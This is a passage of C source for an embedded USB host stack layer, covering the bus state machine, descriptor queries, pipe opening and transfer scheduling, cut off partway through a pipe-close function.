frequently to ensure proper operation of the USB. This function should be
called from the SYS_Tasks function.
Remarks:
See usb_host.h for usage information.
*/
void USB_HOST_Tasks ( SYS_MODULE_OBJ usbHostObject )
{
/* Host object */
USB_HOST_OBJ *hostObj = (USB_HOST_OBJ *)usbHostObject;
USB_HOST_BUS_OBJ *busObj;
USB_HOST_DEVICE_OBJ *rootHubDevice;
uint32_t rootHubUHD;
int hcCount;
/* Check if the host layer is ready. We do not run the tasks routine
* otherwise */
if ( hostObj->status != SYS_STATUS_READY)
{
SYS_DEBUG_MESSAGE(SYS_ERROR_INFO, "\r\nUSB Host Layer: Not ready in USB_HOST_Tasks().");
}
else
{
/* Maintain the state of each bus in the system */
for ( hcCount = 0 ; hcCount < USB_HOST_CONTROLLERS_NUMBER ; hcCount++ )
{
busObj = &(gUSBHostBusList[hcCount]);
switch ( busObj->state)
{
case USB_HOST_BUS_STATE_DISABLED:
/* No action required */
break;
case USB_HOST_BUS_STATE_ENABLING:
if(busObj->hcdHandle == DRV_HANDLE_INVALID)
{
/* The bus is being enabled. Try opening the HCD */
busObj->hcdHandle = busObj->hcdInterface->open(busObj->hcdIndex, (DRV_IO_INTENT)(DRV_IO_INTENT_EXCLUSIVE |
DRV_IO_INTENT_NONBLOCKING | DRV_IO_INTENT_READWRITE) );
/* Validate the Open function status */
if (DRV_HANDLE_INVALID == busObj->hcdHandle )
{
/* The driver may not open the first time. This is okay. We
* should try opening it again. The state of bus is not
* changed. */
}
else
{
/* Update the bus root hub information with the
* details of the controller. Get the bus speed, number of
* ports, the maximum current that the HCD can supply,
* pointer to the root hub port functions. */
SYS_DEBUG_PRINT(SYS_ERROR_INFO, "\r\nUSB Host Layer: Bus %d Root Hub Driver Opened.",hcCount);
busObj->rootHubInfo.speed = busObj->hcdInterface->rootHubInterface.rootHubSpeedGet(busObj->hcdHandle);
busObj->rootHubInfo.ports = busObj->hcdInterface->rootHubInterface.rootHubPortNumbersGet(busObj->hcdHandle);
busObj->rootHubInfo.power = busObj->hcdInterface->rootHubInterface.rootHubMaxCurrentGet(busObj->hcdHandle);
busObj->rootHubInfo.rootHubPortInterface = busObj->hcdInterface->rootHubInterface.rootHubPortInterface;
/* We need to add the root hub as a device in the device
* list. In the gUSBHostDeviceList, the first
* USB_HOST_CONTROLLER_NUMBERS of objects is reserved for
* root hubs. Device Object 0 for root hub 0 and so on. We
* simply grab the device object reserved for the bus root
* hub that we processing and then initialize it. */
rootHubDevice = &(gUSBHostDeviceList[hcCount]);
rootHubDevice->inUse = true;
/* The plug and play identifier is a unique ID that gets
* incremented when a new device is attached to the bus. We
* consider the root hub enumeration as a new device */
busObj->pnpIdentifier = busObj->pnpIdentifier + 1 ;
/* The UHD for the root hub can now be formed. It is
* combination of the the PNP identifier, the
* gUSBHostDeviceList index and the bus number */
rootHubUHD = _USB_HOST_DeviceObjHandleGet(busObj->pnpIdentifier, hcCount, hcCount);
/* Root hub has device identifier and parent device
* identifier same. The hub interface is the HCD root hub
* interface. Each of these device object is a linked list
* node. We set the next object to NULL. */
rootHubDevice->deviceIdentifier = rootHubUHD ;
rootHubDevice->parentDeviceIdentifier = rootHubUHD;
rootHubDevice->hcdHandle = busObj->hcdHandle ;
rootHubDevice->deviceAddress = USB_HOST_ROOT_HUB_ADDRESS ;
rootHubDevice->deviceState = USB_HOST_DEVICE_STATE_READY ;
rootHubDevice->hcdInterface = busObj->hcdInterface;
rootHubDevice->hubInterface = (USB_HUB_INTERFACE *) & ( busObj->hcdInterface->rootHubInterface);
rootHubDevice->nextDeviceObj = NULL;
/* The first device in the bus is the root hub */
busObj->busDeviceList = rootHubDevice ;
/* Initialize the root hub. The device identifier passed to
* the initialize function is returned as the parent ID when
* the root hub request for device attach. We then enable
* the root hub operation. The root hub operation enable
* function does not enable the root hub immediately. So we
* will have to continue checking the progress of the enable
* operation in another state. */
busObj->hcdInterface->rootHubInterface.rootHubInitialize( busObj->hcdHandle , rootHubDevice->deviceIdentifier );
busObj->hcdInterface->rootHubInterface.rootHubOperationEnable( busObj->hcdHandle , true );
SYS_DEBUG_PRINT(SYS_ERROR_INFO, "\r\nUSB Host Layer: Bus %d Enabling Root Hub operation.",hcCount);
busObj->state = USB_HOST_BUS_STATE_WAIT_FOR_ENABLE_COMPLETE ;
}
}
else
{
busObj->hcdInterface->rootHubInterface.rootHubOperationEnable( busObj->hcdHandle , true );
busObj->state = USB_HOST_BUS_STATE_WAIT_FOR_ENABLE_COMPLETE ;
}
break;
case USB_HOST_BUS_STATE_WAIT_FOR_ENABLE_COMPLETE:
/* Check if the root hub operation enable function has
* completed. If yes, then the bus enable routine has completed
* and we can update the bus state */
if(busObj->hcdInterface->rootHubInterface.rootHubOperationIsEnabled(busObj->hcdHandle))
{
SYS_DEBUG_PRINT(SYS_ERROR_INFO, "\r\nUSB Host Layer: Bus %d Root Hub Operation Enabled.",hcCount);
SYS_DEBUG_PRINT(SYS_ERROR_INFO, "\r\nUSB Host Layer: Bus %d Updating Attached Device states.",hcCount);
busObj->state = USB_HOST_BUS_STATE_ENABLED;
}
break;
case USB_HOST_BUS_STATE_ENABLED:
/* Now that the bus is enabled, we can update the state of every
* device that is attached on this bus. */
_USB_HOST_UpdateDeviceTask(hcCount);
break;
case USB_HOST_BUS_STATE_DISABLING:
busObj->hcdInterface->rootHubInterface.rootHubOperationEnable( busObj->hcdHandle , false );
busObj->state = USB_HOST_BUS_STATE_DISABLED;
break;
case USB_HOST_BUS_STATE_SUSPENDING:
break;
case USB_HOST_BUS_STATE_SUSPENDED:
break;
default :
break;
}
}
}
}
// *****************************************************************************
/* Function:
USB_ENDPOINT_DESCRIPTOR * USB_HOST_DeviceEndpointDescriptorQuery
(
USB_INTERFACE_DESCRIPTOR * interface
USB_HOST_DESCRIPTOR_QUERY * query
);
Summary:
Queries the configuration for the specified endpoint type and returns a
pointer to the endpoint descriptor if found.
Description:
This function queries the specified configuration for the specified endpoint
type and returns a pointer to the endpoint descriptor if found. The return
pointer will point to the standard endpoint descriptor and class specific
endpoint descriptors for that endpoint. The search criteria can specified by
using the flags.
In a case where there are multiple endpoints in the interface, the function
can be called repetitively to continue the search till the end of the
interface descriptor is reached or till the search fails. The query object
maintains the last point where the search was successful and continues the
search from that point onwards. Resetting the query object (through the
USB_HOST_DeviceEndpointQueryClear) function will reset the search object and
cause the search to start from the top of the interface descriptor..
Remarks:
This function is available in the PIC32 implementation of the USB Host.
*/
USB_ENDPOINT_DESCRIPTOR * USB_HOST_DeviceEndpointDescriptorQuery
(
USB_INTERFACE_DESCRIPTOR * interface,
USB_HOST_ENDPOINT_DESCRIPTOR_QUERY * query
)
{
USB_ENDPOINT_DESCRIPTOR * result = NULL;
USB_ENDPOINT_DESCRIPTOR * matchDescriptor = NULL;
uint8_t * search;
int bNumEndPoints, iterator;
USB_DESCRIPTOR_HEADER * descriptorHeader;
USB_HOST_ENDPOINT_QUERY_FLAG matchedCriteria = 0;
uint8_t * lastLocation;
/* Validate input parameters */
if((interface == NULL) || (query == NULL))
{
result = NULL;
}
else
{
/* Get the number of endpoints in this interface. If the context is
* already equal pointing to the last endpoint in this interface then
* we don't have anything to search. */
bNumEndPoints = interface->bNumEndPoints;
if(bNumEndPoints == query->context)
{
result = NULL;
}
else
{
/* This means parameters are valid. Irrespective of the context we
* always start the search from the start of the interface descriptor.
* The lastLocation will contain the end of the configuration
* descriptor address. */
search = (uint8_t *)(interface);
lastLocation = (uint8_t *)(_USB_HOST_FindEndOfDescriptor(search));
search += sizeof(USB_INTERFACE_DESCRIPTOR);
for(iterator = 0; iterator < bNumEndPoints; iterator++)
{
if(search < lastLocation)
{
/* Clear the matched criteria for fresh search */
matchedCriteria = USB_HOST_ENDPOINT_QUERY_ANY;
descriptorHeader = (USB_DESCRIPTOR_HEADER *)(search);
while(descriptorHeader->descType != USB_DESCRIPTOR_ENDPOINT)
{
/* This means we have found not found an endpoint descriptor
* yet. Continue searching. */
search += descriptorHeader->size;
descriptorHeader = (USB_DESCRIPTOR_HEADER *)(search);
}
/* This means we have found an endpoint descriptor */
matchDescriptor = (USB_ENDPOINT_DESCRIPTOR *)(search);
/* Check if the query object already covered this in the
* previous search. We will know about this through the context
* */
if((query->context > 0) && (iterator <= query->context))
{
/* This means this endpoint was searched previously. Update
* search to point to the next descriptor. We should
* continue the search. */
search += sizeof(USB_ENDPOINT_DESCRIPTOR);
continue;
}
/* Now check for matching criteria */
if(query->flags & USB_HOST_ENDPOINT_QUERY_BY_ENDPOINT_ADDRESS)
{
/* Check if the endpoint address matches the address */
if(matchDescriptor->bEndpointAddress == query->endpointAddress)
{
/* This is a match. Update the context to remember on
* which iteration we matched. End the search. */
query->context = iterator + 1;
result = matchDescriptor;
break;
}
else
{
search += descriptorHeader->size;
}
}
else
{
if(query->flags & USB_HOST_ENDPOINT_QUERY_BY_DIRECTION)
{
/* Check if the endpoint direction matches */
if(query->direction == matchDescriptor->dirn)
{
/* Update matchedCriteria. This will help us check
* if all the query specified criteria have been
* satisfied. */
matchedCriteria |= USB_HOST_ENDPOINT_QUERY_BY_DIRECTION;
}
}
if(query->flags & USB_HOST_ENDPOINT_QUERY_BY_TRANSFER_TYPE)
{
/* Check if the endpoint direction matches */
if(query->transferType == matchDescriptor->transferType)
{
/* Update matchedCriteria. This will help us check
* if all the query specified criteria have been
* satisfied. */
matchedCriteria |= USB_HOST_ENDPOINT_QUERY_BY_TRANSFER_TYPE;
}
}
if(matchedCriteria == query->flags)
{
/* This means all the criteria matched. We can end the
* search. */
query->context = iterator + 1;
result = matchDescriptor;
break;
}
else
{
/* This is not the endpoint descriptor. Advance the
* search. */
search += descriptorHeader->size;
}
}
}
else
{
/* This means we have reached the end of the descriptor. The
* search should stop. */
}
}
}
}
return(result);
}
// *****************************************************************************
/* Function:
USB_INTERFACE_DESCRIPTOR * USB_HOST_DeviceInterfaceDescriptorQuery
(
USB_CONFIGURATION_DESCRIPTOR * configuration
USB_HOST_DESCRIPTOR_QUERY * query,
);
Summary:
Queries the active configuration for the specified interface.
Description:
This function queries the active configuration for the specified interface
and returns a pointer to the interface descriptor if found. The return
pointer will point to the standard interface descriptor and class specific
interface descriptors for that interface. The search criteria can specified
by using the flags.
In a case where the interface has more than one alternate settings, the
function can be called repetitively to continue the search till the end of the
configuration descriptor is reached or till the search fails. The query flag
in such should be set to ignore the alternate setting field. The query
object maintains the last point where the search was successful and
continues the search from that point onwards. Resetting the query object
(through the USB_HOST_QueryClear) function will reset the search object and
cause the search to start from the top of the configuration descriptor.
Remarks:
Refer to usb_host_client_driver.h for usage information.
*/
USB_INTERFACE_DESCRIPTOR * USB_HOST_DeviceInterfaceDescriptorQuery
(
USB_CONFIGURATION_DESCRIPTOR * configuration,
USB_HOST_INTERFACE_DESCRIPTOR_QUERY * query
)
{
USB_INTERFACE_DESCRIPTOR * result = NULL;
USB_INTERFACE_DESCRIPTOR * matchedInterface;
USB_DESCRIPTOR_HEADER * descriptorHeader;
uint16_t wTotalLength;
uint8_t * search;
USB_HOST_INTERFACE_QUERY_FLAG matchedCriteria = USB_HOST_INTERFACE_QUERY_ANY;
if((NULL == configuration) || (NULL == query))
{
/* Input parameter are NULL. Nothing to do here as the result is already
* set to NULL. */
}
else
{
/* Input parameters are valid. Get the number of interfaces in this
* configuration. This number does not include number of alternate
* settings. The search must start after the configuration descriptor
* header. */
wTotalLength = configuration->wTotalLength;
search = (uint8_t *)(configuration) + sizeof(USB_CONFIGURATION_DESCRIPTOR);
/* Keep searching till we have reached the end of the configuration
* descriptor or we have found a match */
while(search < ((uint8_t *)(configuration) + wTotalLength))
{
/* Search for an interface descriptor */
descriptorHeader = (USB_DESCRIPTOR_HEADER *)(search);
/* The matchedCriteria bitmap must be cleared before every search */
matchedCriteria = USB_HOST_INTERFACE_QUERY_ANY;
while(descriptorHeader->descType != USB_DESCRIPTOR_INTERFACE)
{
search += descriptorHeader->size;
descriptorHeader = (USB_DESCRIPTOR_HEADER *)(search);
/* Its possible we may reach the end of the configuration
* descriptor here. So lets check to make sure we have a
* bounded check. */
if(search >= ((uint8_t *)(configuration) + wTotalLength))
{
/* We are at the end of the configuration descriptor. */
search = NULL;
break;
}
}
if(search == NULL)
{
/* This means the above search loop reached the end of the
* configuration descriptor. */
result = NULL;
break;
}
/* This means we have found an interface descriptor. If the
* query context (which is the location of the last search) is
* greater than the current search location, this means this
* interface was already covered in the previous search */
if(search <= (uint8_t *)(query->context))
{
/* This result was already obtained in the previous search. We
* must continue the search. */
search += descriptorHeader->size;
continue;
}
/* We can now start match the interface to the query */
matchedInterface = (USB_INTERFACE_DESCRIPTOR *)(search);
if(query->flags & USB_HOST_INTERFACE_QUERY_BY_NUMBER)
{
/* Check if the interface number matches the specified interface
* number */
if(matchedInterface->bInterfaceNumber == query->bInterfaceNumber)
{
matchedCriteria |= USB_HOST_INTERFACE_QUERY_BY_NUMBER;
}
}
if(query->flags & USB_HOST_INTERFACE_QUERY_ALT_SETTING)
{
/* Check if the alternate number matches the specified alternate
* setting */
if(matchedInterface->bAlternateSetting == query->bAlternateSetting)
{
matchedCriteria |= USB_HOST_INTERFACE_QUERY_ALT_SETTING;
}
}
if(query->flags & USB_HOST_INTERFACE_QUERY_BY_CLASS)
{
/* Check if the class of the interface matches the specified
* class. */
if(query->bInterfaceClass == matchedInterface->bInterfaceClass)
{
matchedCriteria |= USB_HOST_INTERFACE_QUERY_BY_CLASS;
}
}
if(query->flags & USB_HOST_INTERFACE_QUERY_BY_SUBCLASS)
{
/* Check if the interface subclass matches the specified
* interface subclass */
if(matchedInterface->bInterfaceSubClass == query->bInterfaceSubClass)
{
matchedCriteria |= USB_HOST_INTERFACE_QUERY_BY_SUBCLASS;
}
}
if(query->flags & USB_HOST_INTERFACE_QUERY_BY_PROTOCOL)
{
/* Check if the interface protocol matches the specified
* interface protocol. */
if(matchedInterface->bInterfaceProtocol == query->bInterfaceProtocol)
{
matchedCriteria |= USB_HOST_INTERFACE_QUERY_BY_PROTOCOL;
}
}
if(matchedCriteria == query->flags)
{
/* This means we have matched the specified criteria. Save the
* location of the match and then stop searching. */
query->context = (uintptr_t)(search);
result = matchedInterface;
break;
}
else
{
/* Did not match the query criteria. */
search += descriptorHeader->size;
continue;
}
}
}
return(result);
}
// *****************************************************************************
/* Function:
void USB_HOST_DeviceEndpointQueryClear
(
USB_HOST_INTERFACE_DESCRIPTOR_QUERY * query
);
Summary:
Clear the query object.
Description:
This function clears the query object context. Using the query after it has
been clear will cause the USB_HOST_DeviceEndpointDescriptorQuery() and
function to reset the search location to the start of the configuration
descriptor.
Remarks
Refer to usb_host_client_driver.h for usage details.
*/
void USB_HOST_DeviceEndpointQueryContextClear
(
USB_HOST_ENDPOINT_DESCRIPTOR_QUERY * query
)
{
if(NULL != query)
{
/* Reset the context to 0 */
query->context = 0;
}
}
// *****************************************************************************
/* Function:
void USB_HOST_DeviceInterfaceQueryContextClear
(
USB_HOST_INTERFACE_DESCRIPTOR_QUERY * query
);
Summary:
Clear the query object.
Description:
This function clears the query object context. Using the query after it has
been clear will cause the USB_HOST_DeviceInterfaceDescriptorQuery() and
function to reset the search location to the start of the configuration
descriptor.
Remarks:
Refer to usb_host_client_driver.h for usage details.
*/
void USB_HOST_DeviceInterfaceQueryContextClear
(
USB_HOST_INTERFACE_DESCRIPTOR_QUERY * query
)
{
if(NULL != query)
{
/* Reset the context to 0 */
query->context = 0;
}
}
// *****************************************************************************
/* Function:
USB_HOST_CONTROL_PIPE_HANDLE USB_HOST_DeviceControlPipeOpen
(
USB_HOST_DEVICE_OBJ_HANDLE deviceObjHandle
);
Summary:
Open a control transfer pipe to the device.
Description:
This function opens a control transfer pipe to the device. The return control
pipe handle can be used in the USB_HOST_DeviceControlTransfer() function to
schedule control transfers to the device.
Remarks:
Refer to usb_host_client_driver.h for usage information.
*/
USB_HOST_CONTROL_PIPE_HANDLE USB_HOST_DeviceControlPipeOpen
(
USB_HOST_DEVICE_OBJ_HANDLE deviceObjHandle
)
{
uint8_t deviceIndex ;
uint16_t pnpIdentifier;
USB_HOST_DEVICE_OBJ * deviceObj;
USB_HOST_CONTROL_PIPE_HANDLE controlPipeHandle = USB_HOST_CONTROL_PIPE_HANDLE_INVALID;
/* Get the device object index from the device object handle */
deviceIndex = USB_HOST_DEVICE_INDEX( deviceObjHandle );
/* Get a pointer to the device object */
deviceObj = &gUSBHostDeviceList[deviceIndex];
if(deviceObj->inUse)
{
/* This means the device object is valid. Now check the plugNplay
* identifier to make sure that device object handle is not stale */
pnpIdentifier = USB_HOST_PNP_IDENTIFIER(deviceObjHandle);
if(pnpIdentifier == USB_HOST_PNP_IDENTIFIER(deviceObj->deviceIdentifier))
{
/* The plugNplay identifier matches the one that device object
* contains. The control pipe handle is the same as the device
* object handle */
controlPipeHandle = (USB_HOST_CONTROL_PIPE_HANDLE)(deviceObj->deviceIdentifier);
}
}
return controlPipeHandle;
}
// *****************************************************************************
/* Function:
USB_HOST_RESULT USB_HOST_DeviceInterfaceRelease
(
USB_HOST_DEVICE_INTERFACE_HANDLE interfaceHandle,
);
Summary:
Releases an interface on the specified device.
Description:
This function allows the application to release a claimed interface on the
specified device and within the selected configuration on that device.
Remarks:
Refer to usb_host_client_driver.h for usage information.
*/
USB_HOST_RESULT USB_HOST_DeviceInterfaceRelease
(
USB_HOST_DEVICE_INTERFACE_HANDLE interfaceHandle
)
{
int deviceIndex;
int interfaceIndex;
unsigned int pnpIdentifier;
USB_HOST_RESULT result;
USB_HOST_DEVICE_OBJ * deviceObj;
USB_HOST_INTERFACE_DESC_INFO * interfaceInfo;
deviceIndex = USB_HOST_DEVICE_INDEX(interfaceHandle);
interfaceIndex = USB_HOST_INTERFACE_INDEX(interfaceHandle);
pnpIdentifier = USB_HOST_PNP_IDENTIFIER(interfaceHandle);
/* Get the device object */
deviceObj = &gUSBHostDeviceList[deviceIndex];
if(!deviceObj->inUse)
{
/* This device object is not in use. May have been disconnected */
result = USB_HOST_RESULT_DEVICE_UNKNOWN;
}
else
{
if(pnpIdentifier != USB_HOST_PNP_IDENTIFIER(deviceObj->deviceIdentifier))
{
/* This device is not the same that client driver thinks it is */
result = USB_HOST_RESULT_DEVICE_UNKNOWN;
}
else
{
interfaceInfo = &deviceObj->configDescriptorInfo.interfaceInfo[interfaceIndex];
if(interfaceInfo->interfaceDescriptor == NULL)
{
/* This means that the interface is not valid */
result = USB_HOST_RESULT_INTERFACE_UNKNOWN;
}
else
{
/* Release the interface */
interfaceInfo->interfaceDriver = NULL;
result = USB_HOST_RESULT_SUCCESS;
}
}
}
return(result);
}
// *****************************************************************************
/* Function:
void USB_HOST_DeviceTransfer
(
USB_HOST_PIPE_HANDLE pipeHandle
USB_HOST_TRANSFER_HANDLE * transferHandle,
void * data,
size_t size,
uintptr_t context
);
Summary:
Schedules a bulk, interrupt or isochronous transfer.
Description:
This function schedules a bulk, interrupt or isochronous. pipeHandle
contains a handle to a bulk, interrupt or isochronous pipe obtained through
the USB_HOST_DevicePipeOpen() function .
If the transfer was scheduled successfully, transferHandle will contain a
transfer handle that uniquely identifies this transfer. If the transfer
could not be scheduled successfully, transferHandle will contain
USB_HOST_TRANSFER_HANDLE_INVALID.
Multiple transfers can be queued. These transfers will be processed in the
order they were scheduled. The host layer will called the interfaceEvent
event handler with USB_HOST_DEVICE_INTERFACE_EVENT_TRANSFER_COMPLETE_DATA
when the transfer completes.
Remarks
Refer to usb_host_client_driver.h for usage information.
*/
USB_HOST_RESULT USB_HOST_DeviceTransfer
(
USB_HOST_PIPE_HANDLE pipeHandle,
USB_HOST_TRANSFER_HANDLE * transferHandle,
void * data,
size_t size,
uintptr_t context
)
{
uint8_t deviceIndex;
uint8_t interfaceIndex;
USB_HOST_DEVICE_OBJ *deviceObj;
USB_HOST_TRANSFER_OBJ * transferObj = NULL;
USB_HOST_PIPE_OBJ *pipeObj;
DRV_USB_HOST_PIPE_HANDLE drvPipeHandle;
USB_HOST_INTERFACE_DESC_INFO *interfaceInfo;
USB_HOST_RESULT result = USB_HOST_RESULT_SUCCESS ;
OSAL_RESULT osalResult;
USB_HOST_OBJ * hostObj;
int search;
if(NULL == transferHandle)
{
/* transferHandle cannot be NULL */
result = USB_HOST_RESULT_PARAMETER_INVALID;
}
else
{
/* Initialize transfer handle in anticipation of an error */
*transferHandle = USB_HOST_TRANSFER_HANDLE_INVALID;
if(USB_HOST_PIPE_HANDLE_INVALID == pipeHandle)
{
/* Pipe handle is not valid */
result = USB_HOST_RESULT_PIPE_HANDLE_INVALID;
}
else if ((size != 0) && (NULL == data))
{
/* If size is greater than 0, then data cannot be NULL */
result = USB_HOST_RESULT_PARAMETER_INVALID;
}
else
{
/* Pointer to the host layer object */
hostObj = &gUSBHostObj;
/* pipeHandle is pointer to the pipe object */
pipeObj = (USB_HOST_PIPE_OBJ *)(pipeHandle);
/* The pipeObj contains the handle to the interface that this pipe
* belongs to. The interface handle contains the index of the owner
* device. We need this owner device index so that we can get the
* pointer to the HCD functions. */
deviceIndex = USB_HOST_DEVICE_INDEX( pipeObj->interfaceHandle );
interfaceIndex = USB_HOST_INTERFACE_INDEX ( pipeObj->interfaceHandle );
deviceObj = &gUSBHostDeviceList[deviceIndex];
interfaceInfo = &(deviceObj->configDescriptorInfo.interfaceInfo[interfaceIndex]);
/* Get the driver pipe handle */
drvPipeHandle = pipeObj->pipeHandle ;
/* We need to now search for a free transfer object. It is possible that
* the USB_HOST_DeviceTransfer() function will be called from the
* transfer event. It is also possible that this function is called from
* another thread. We will use a mutual exclusion to protect the transfer
* object pool. But the mutual exclusion should be take only if the host if
* this function is not being called in an interrupt context.*/
if(!hostObj->isInInterruptContext)
{
/* We can take mutual exclusion only if we are not in interrupt context */
osalResult = OSAL_MUTEX_Lock(&hostObj->mutexTransferObj, OSAL_WAIT_FOREVER);
}
else
{
/* We are in interrupt context. So the rest of the code flow
* should continue. */
osalResult = OSAL_RESULT_TRUE;
}
/* The execution reaches this point (in an RTOS setting) if the
* mutual exclusion lock was taken, or if the mutual exclusion failed. We must disable all
* root hub events so this operation is atomic */
if(osalResult == OSAL_RESULT_TRUE)
{
_USB_HOST_RootHubEventDisable();
for(search = 0; search < USB_HOST_TRANSFERS_NUMBER; search ++)
{
if(!gUSBHostTransferObj[search].inUse)
{
/* We found a transfer object. Allocate it and then update
* the transfer handle. */
transferObj = &gUSBHostTransferObj[search];
transferObj->inUse = true;
*transferHandle = (USB_HOST_TRANSFER_HANDLE)(transferObj);
break;
}
}
_USB_HOST_RootHubEventEnable();
/* Return the mutual exclusion */
if(!hostObj->isInInterruptContext)
{
OSAL_MUTEX_Unlock(&(hostObj->mutexTransferObj));
}
if(*transferHandle == USB_HOST_TRANSFER_HANDLE_INVALID)
{
/* This means we did not find a transfer object */
result = USB_HOST_RESULT_REQUEST_BUSY;
}
else
{
/* We have found a transfer object. Initialize it */
transferObj->irp.data = (void *)data;
transferObj->irp.setup = NULL;
transferObj->irp.size = size;
transferObj->irp.userData = (uintptr_t)(transferObj);
transferObj->irp.callback = _USB_HOST_DataTransferIRPCallback;
transferObj->context = context;
transferObj->interfaceInfoObj = interfaceInfo;
/* Try submitting the IRP */
if(USB_ERROR_NONE != deviceObj->hcdInterface->hostIRPSubmit( drvPipeHandle, & (transferObj->irp)))
{
/* If the IRP submit was not successful, then return the
* transferObject to the pool and update the result. */
result = USB_HOST_RESULT_FAILURE;
*transferHandle = USB_HOST_TRANSFER_HANDLE_INVALID;
transferObj->inUse = false;
}
}
}
else
{
/* Could not take the mutual exclusion lock*/
result = USB_HOST_RESULT_REQUEST_BUSY;
}
}
}
return result;
}
// *****************************************************************************
/* Function:
USB_HOST_PIPE_HANDLE USB_HOST_DevicePipeOpen
(
USB_HOST_DEVICE_INTERFACE_HANDLE interfaceHandle,
USB_ENDPOINT_ADDRESS endpointAddress
);
Summary:
Opens a pipe to the specified endpoint.
Description:
This function opens a pipe on the specified endpoint. The pipe parameters
will be defined by the endpoint attributes specified in the endpoint
descriptor that the attached device reports to the host.
Remarks:
Refer to usb_host_client_driver.h for usage information.
*/
USB_HOST_PIPE_HANDLE USB_HOST_DevicePipeOpen
(
USB_HOST_DEVICE_INTERFACE_HANDLE deviceInterfaceHandle,
USB_ENDPOINT_ADDRESS endpointAddress
)
{
uint8_t interval;
uint8_t pipeNumber;
uint32_t deviceIndex;
uint8_t interfaceIndex;
uint32_t maxPacketSize;
USB_HOST_PIPE_HANDLE result;
USB_TRANSFER_TYPE transferType;
USB_HOST_PIPE_OBJ * pipeObj = NULL;
USB_HOST_INTERFACE_DESC_INFO *interfaceInfo;
USB_ENDPOINT_DESCRIPTOR * endpointDescriptor;
USB_HOST_DEVICE_OBJ * deviceObj;
USB_HOST_ENDPOINT_DESCRIPTOR_QUERY endpointDescQuery;
USB_HOST_INTERFACE_DESCRIPTOR_QUERY interfaceQuery;
USB_INTERFACE_DESCRIPTOR * interfaceDescriptor;
/* Get the index of the device from the interface handle. We need this to
* get the device object. */
deviceIndex = USB_HOST_DEVICE_INDEX( deviceInterfaceHandle );
/* Get the index of the interface. We need this to get information about
* the endpoint */
interfaceIndex = USB_HOST_INTERFACE_INDEX ( deviceInterfaceHandle );
/* Get the device object because we need the pointer to the HCD pipe open
* function. */
deviceObj = &gUSBHostDeviceList[deviceIndex];
/* Get the interface information object to get the pointer to the interface
* descriptor */
interfaceInfo = &(deviceObj->configDescriptorInfo.interfaceInfo[interfaceIndex]);
/* Set default value to return in case of error */
result = USB_HOST_PIPE_HANDLE_INVALID;
/* We must first find the interface descriptor with the current alternate
* setting */
USB_HOST_DeviceInterfaceQueryContextClear(&interfaceQuery);
interfaceQuery.bInterfaceNumber = interfaceIndex;
interfaceQuery.bAlternateSetting = interfaceInfo->currentAlternateSetting;
interfaceQuery.flags = (USB_HOST_INTERFACE_QUERY_FLAG)(USB_HOST_INTERFACE_QUERY_BY_NUMBER | USB_HOST_INTERFACE_QUERY_ALT_SETTING);
interfaceDescriptor = USB_HOST_DeviceGeneralInterfaceDescriptorQuery(interfaceInfo->interfaceDescriptor, &interfaceQuery);
if(interfaceDescriptor != NULL)
{
/* We want to search for the endpoint descriptor so that we can find out the
* pipe attributes. Set up the query object to search by endpoint number and
* then search for the end point descriptor */
USB_HOST_DeviceEndpointQueryContextClear(&endpointDescQuery);
endpointDescQuery.endpointAddress = endpointAddress;
endpointDescQuery.flags = USB_HOST_ENDPOINT_QUERY_BY_ENDPOINT_ADDRESS;
endpointDescriptor = USB_HOST_DeviceEndpointDescriptorQuery(interfaceDescriptor,&endpointDescQuery);
if(deviceObj->inUse)
{
/* Device object is valid */
if((USB_HOST_PNP_IDENTIFIER(deviceInterfaceHandle)) == (USB_HOST_PNP_IDENTIFIER(deviceObj->deviceIdentifier)))
{
/* PlugNPlay identifiers are matching */
if ( endpointDescriptor != NULL )
{
/* Transfer type */
transferType = (USB_TRANSFER_TYPE)endpointDescriptor->transferType;
/* Interval for periodic transfers */
if ( transferType == USB_TRANSFER_TYPE_BULK )
{
/* Bulk endpoints we ignore interval value
* reported by endpoint descriptor */
interval = 0x00;
}
else
{
interval = endpointDescriptor->bInterval;
}
/* Endpoint maximum packet size */
maxPacketSize = endpointDescriptor->wMaxPacketSize;
/* The pipe open function should never be called in an event handler or
* in an interrupt context. We don't check for interrupt safety here,
* only thread safety. The safety is needed for protected the pipe pool
* */
if(OSAL_MUTEX_Lock(&(gUSBHostObj.mutexPipeObj), OSAL_WAIT_FOREVER) == OSAL_RESULT_TRUE)
{
for ( pipeNumber = 0 ; pipeNumber < USB_HOST_PIPES_NUMBER ; pipeNumber++)
{
if( gUSBHostPipeObj[pipeNumber].inUse == false )
{
pipeObj= & gUSBHostPipeObj[pipeNumber];
result = (USB_HOST_PIPE_HANDLE)(pipeObj);
pipeObj->inUse = true;
break;
}
}
/* Release the mutual exclusion lock */
OSAL_MUTEX_Unlock(&(gUSBHostObj.mutexPipeObj));
}
else
{
/* If the mutual exclusion lock failed for unknown reason, we don't do anything
* here as we will any ways check for a valid handle in result.
* result has an invalid handle at this point */
}
if(result != USB_HOST_PIPE_HANDLE_INVALID)
{
/* This means the pipeObj is valid. We can try opening the pipe by
* using the HCD pipe open function */
pipeObj->pipeHandle = deviceObj->hcdInterface->hostPipeSetup( deviceObj->hcdHandle,
deviceObj->deviceAddress, /* Address of the device */
endpointAddress, /* Endpoint */
deviceObj->hubAddress, /* Hub address and port */
deviceObj->devicePort,
transferType, /* Pipe type */
interval, /* bInterval */
maxPacketSize, /* Pipe size */
deviceObj->speed /* Speed of the pipe */
);
if(pipeObj->pipeHandle == DRV_USB_HOST_PIPE_HANDLE_INVALID)
{
/* The HCD pipe open function failed. Release the pipe object
* back and then update result. */
pipeObj->inUse = false;
result = USB_HOST_PIPE_HANDLE_INVALID;
}
else
{
/* HCD pipe open function worked. Update the pipe object */
pipeObj->endpointAddress = endpointAddress;
pipeObj->interfaceHandle = deviceInterfaceHandle ;
}
}
}
}
}
}
return result;
}
// *****************************************************************************
/* Function:
USB_HOST_RESULT USB_HOST_DevicePipeClose
(
USB_HOST_PIPE_HANDLE pipeHandle
);
Summary:
Closes an existing pipe.
Description:
This function closes an existing pipe. Any transfers that are queued or
in-progress on the pipe will be aborted and the transfer complete events
will be generated. Once closed, no transfers can be queued on the pipe.
Remarks:
Refer to usb_host_client_driver.h for usage details.
*/
USB_HOST_RESULT USB_HOST_DevicePipeClose
(
USB_HOST_PIPE_HANDLE pipeHandle
)
{
USB_HOST_RESULT result;
USB_HOST_PIPE_OBJ * pipeObj;
USB_HOST_DEVICE_INTERFACE_HANDLE interfaceHandle;
USB_HOST_DEVICE_OBJ * deviceObj;
int deviceIndex;
